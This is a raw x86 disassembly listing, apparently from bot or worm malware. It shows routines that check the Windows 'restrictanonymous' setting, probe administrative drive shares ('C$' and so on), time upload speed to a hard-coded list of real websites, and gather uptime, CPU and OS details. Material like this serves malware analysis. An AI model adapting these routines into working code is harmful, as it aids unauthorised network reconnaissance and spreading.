		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		call	near ptr 2830C68h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 2680600h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 2680600h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C060Eh
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2660F23h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26C060Eh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2660A28h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2720000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2840000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
